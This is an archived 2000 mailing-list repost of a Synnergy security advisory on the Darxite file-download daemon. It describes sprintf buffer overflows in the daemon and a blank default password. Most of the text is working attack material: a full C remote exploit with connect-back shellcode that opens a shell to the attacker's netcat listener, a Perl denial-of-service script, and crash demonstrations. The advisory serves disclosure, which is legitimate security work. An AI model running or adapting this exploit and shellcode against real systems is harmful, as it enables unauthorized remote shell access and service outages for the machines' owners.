OSEC

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Subject: Darxite daemon remote exploit/DoS problem
From: Guido Bakker (guidobMAINNET.NL)
Date: Mon Aug 21 2000 - 03:37:28 CDT


           ***********************************************
           + Darxite daemon remote exploit/DoS problem +
           ***********************************************
           # Advisory by dethy #
           # www.synnergy.net #
           |=============================================|

Vulnerable: Darxite (All versions up to and including 0.4)

Discovery : dethysynnergy.net
Exploits : Scrippie & dethy

Description
-----------

"Darxite" is a daemon, written by Ashley Montanaro, whose job is to retrieve
files via
FTP or HTTP and execute other FTP commands, and a number of "client" programs
whose
jobs are to control the daemon.

Platform -> Linux 2.X
Vendor -> http://darxite.sourceforge.net

Vulnerability
-------------

1. This is a very simple problem. Vulnerability exist in a number of places
throughout
the code, allowing a local/remote user to send more than the predefined
buffer causing
the server to crash, and process die. Daemon does not leave a coredump of the
memory image
since it uses a `case SIGSEGV: ..` but nevertheless the program will crash.

2. Now there is also a passwd authentication remote overflow, allowing remote
shell access
as the uid of the darxite daemon.

From Library/sockets.c

        char buffer[256];
              ..
        sprintf(buffer, "%s\n", name);
              ..
        sprintf(buffer, "%s\n, password);

As you can see, specifying more than 256 bytes will cause a stack overflow.
Scrippie has provided a working demonstration exploit, as seen below.

/*
   Darxite Daemon v0.4 password authentication overflow
   ----------------------------------------------------

   I tried to use some easy functions for string creation, and they seem to
   work pretty quick (no more hours of frustration writing for loops :).

   As always I used my own shellcode, you should do a "nc -l -p 27002" on the
   machine you fill in as "your IP" and execute this - if it works you'll have
   a shell in the netcat session.

   -- Scrippie/ronaldgrafix.nl
*/

/* Synnergy.net 2000 (c) */

#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <string.h>

#define DARX_BUF 1024
#define NUM_NOPS 1000

int xconnect(unsigned long, unsigned int);
void readBanner(int socket);
char *strcreat(char *, char *, int);
char *stralign(char *, int);
char *longToChar(unsigned long);

char hellcode[]=
        "\xeb\x7a\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x8d\x4e"
        "\x1c\xb2\x01\x89\x56\x20\xb2\x06\x89\x56\x24\xb2\x02\x89\x56"
        "\x1c\xcd\x80\x89\x46\x18\x89\x16\x66\xc7\x46\x02\x69\x7a\x89"
        "\x46\x1c\x8d\x06\x89\x46\x20\x80\xc2\x0e\x89\x56\x24\x31\xc0"
        "\x04\x66\x80\xc3\x02\x8d\x4e\x1c\xcd\x80\x31\xc0\x04\x3f\x89"
        "\xc2\x8b\x5e\x18\x31\xc9\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0"
        "\x41\xcd\x80\x31\xc0\x8d\x7e\x0f\x80\xc1\x07\xf3\xaa\x04\x0b"
        "\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10\x31\xd2\xcd\x80\x31\xc0"
        "\xfe\xc0\xcd\x80\xe8\x81\xff\xff\xff\x41\x41\x42\x42\xBB\xBB"
        "\xBB\xBB\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char **argv)
{
   int sd;
   unsigned int align=0;
   unsigned long sip, retaddy=0xbffff928;
   char *iploc, *evilstring;

   if(argc < 4) {
      printf("Use as: %s <target IP> <target port> <your ip> [ret addy]
[align]
         \n", argv[0]);
      exit(0);
   }

   if((sip = inet_addr(argv[3])) == -1) {
      perror("inet_addr()");
      exit(-1);
   }

   if(argc > 4) retaddy = strtoul(argv[4], NULL, 16);
   if(argc > 5) align = atoi(argv[5]);

   printf("Using return address: 0x%lx\n", retaddy);
   printf("Using alignment: %d\n", align);

   /* Locate the IP position in the shellcode */
   iploc=(char *)strchr(hellcode, 0xBB);
   memcpy((void *) iploc, (void *) &sip, 4);

   /* Generate the overflow string */

   evilstring = strcreat(NULL, "A", align);
      /* We memory leak 5 bytes here, don't make a service out of this :) */
   evilstring = strcreat(evilstring, longToChar(retaddy), (DARX_BUF+8)>>2);
   evilstring = strcreat(evilstring, "\x90", NUM_NOPS);
   evilstring = strcreat(evilstring, hellcode, 1);

   sd = xconnect(inet_addr(argv[1]), atoi(argv[2]));

   printf("Connected... Now sending overflow...\n");

   send(sd, evilstring, strlen(evilstring)+1, 0);

   free(evilstring);
   return(0);
}

/*
   Returns the socket descriptor to "ip" on "port"
*/

int xconnect(unsigned long ip, unsigned int port)
{
   struct sockaddr_in sa; /* Sockaddr */
   int sd; /* Socket Descriptor */

   if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      perror("socket()");
      exit(-1);
   }

   memset(&sa, 0x00, sizeof(struct sockaddr_in));
   sa.sin_port=htons(port);
   sa.sin_addr.s_addr=ip;

   if(connect(sd, &sa, sizeof(struct sockaddr_in)) == -1) {
      perror("connect()");
      exit(-1);
   }

   return(sd);
}

/*
   Yummy yummy function for easy string creation
*/

char *strcreat(char *dest, char *pattern, int repeat)
{
   char *ret;
   size_t plen, dlen=0;
   int i;

   if(dest) dlen = strlen(dest);
   plen = strlen(pattern);

   ret = (char *)realloc(dest, dlen+repeat*plen+1);

   for(i=0;i<repeat;i++) {
      strcat(ret, pattern);
   }
   return(ret);
}

/*
   Converts a long to an array containing this long
*/

char *longToChar(unsigned long blaat)
{
   unsigned int i;
   char *ret;

   ret = (char *)malloc(sizeof(long)+1);

   for(i=0;i<sizeof(long);i++) {
      ret[i] = (blaat >> (i<<3)) & 0xff;
   }
   ret[sizeof(long)] = 0x00;

   return(ret);
}

----------------------------------------------

Below is some of the offending code causing a remote DoS.

For local users specifying the -f <file> for `darxcmd` will force the client
to read in an arbitary config file into a buffer of limit 4096.
Upon connection to the server, darxcmd will crash by specifying any of the
below parameters.

From daemon/http.c

    if (strcmp(DX_ProxyHostName, "") && (DX_ProxyPort > 0))
    {
        sprintf(get_string, "GET %s://%s%s HTTP/1.0", file->Protocol,
                file->ActualServer->Name, file->Path);
    }
    else
    {
        sprintf(get_string, "GET %s HTTP/1.0", file->Path);
    }
    sprintf(buffer,
            "%s\r\n"
            "Host: %s\r\n"
            "User-Agent: Darxite/%s\r\n"
            "%s\r\n",
            get_string, file->ActualServer->Name, RELEASE_VER, range);

            sprintf(buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | %d",
                    file->Protocol, file->Server->Name, file->Path,
                    file->LocalPath, file->LogIn, file->Password,
                    file->Flags, total_size);

Likewise in daemon/ftp.c

     char get_buffer[256];
           ..
     sprintf(get_buffer, "%s://%s%s/%s | %s/%s | %s | "
             "%s | %s | %s", file->Protocol,
             file->ActualServer->Name, path_buffer,
                                line_ptr, local_path, line_ptr,
                                file->LogIn, file->Password, new_flags,
                                size);

.. and daemon/files.c

        char line_buffer[1024];
                ..
            sprintf(line_buffer, "\"%s://%s%s\" | \"%s\" | %s | %s | %s | "
                    "%d\n", new_file->Protocol, server->Name,
                    new_file->Path, new_file->LocalPath,
                    new_file->LogIn, new_file->Password,
                    new_file->Flags, new_file->TotalSize);

/* list goes on.. */

Note: by default installation of Darxide the password is blank !

[ syn:/home/deth ]$ telnet localhost 69

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
900 Welcome to Darxite 0.4. Enter your password.
<enter>
900 Password OK; tell me your name.
any-name-will-do
900 "any-name-will-do" connected OK.
Get [buffer exceeding 1024 chars]
DX: Segment violation. Lots of features mean lots of bugs.
Connection closed by foreign host.

[ syn:/home/deth ]$

/* Server has crashed and process killed */

We could also do something like:
[ syn:/home/deth ]$ darxget -clocalhost:2000 -o- `perl -e 'print "A"x1024'`
Enter Passsword for daemon on localhost:
<enter>

/* Now checking the daemon logs */

DX. Segmentation violation.
Connection closed by foreign host.

Pretty easy eh? ;)

Exploit
-------

Although I doubt you'll find many server's running it, i'll provide a very
basic
and trivial perl exploit for proof of concept.

=================<cut>==================

#!/usr/bin/perl
# lame DoS
#
use Getopt::Std;
use Socket;
getopt('s:p', \%args);
if(!defined($args{s}) && !defined($args{p})){&usage;}
$serv = $args{s};
$port = $args{p};
$foo = "A";
$bar = 1024;
$foobar .= $foo x $bar;

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(S, $paddr) || die("Error: $!\n");
select(S); $| = 1; select(STDOUT);

$res=<S>; print "$res\n";
sleep 1;
print S "\r\n";
$res=<S>; print "$res\n";
sleep 1;
print S "guest\n";
$res=<S>; print "$res\n";
sleep 1;
print S $foobar || die("Error: $!\n");
close(S);

print("killed Darxite successfully. Feeling better now?\n");

sub usage {die("\n\n$0 -s <server> -p <port>\n\n");}

=================</cut>==================

Solution
--------

Wait until the next patched version of Darxite comes out, or even changed the
code yourself
if this program is that important to you. (snprintf() isn't the hardest
thing.)

----------------------------------------
WEB: http://www.synnergy.net
----------------------------------------

--
Met vriendelijke groet / Kind regards,

| Guido Bakker <guidobmainnet.nl> | Network Manager

MainNet BV, http://www.mainnet.nl Phone: +31 (0)20 6133505 Fax: +31 (0)20 6135640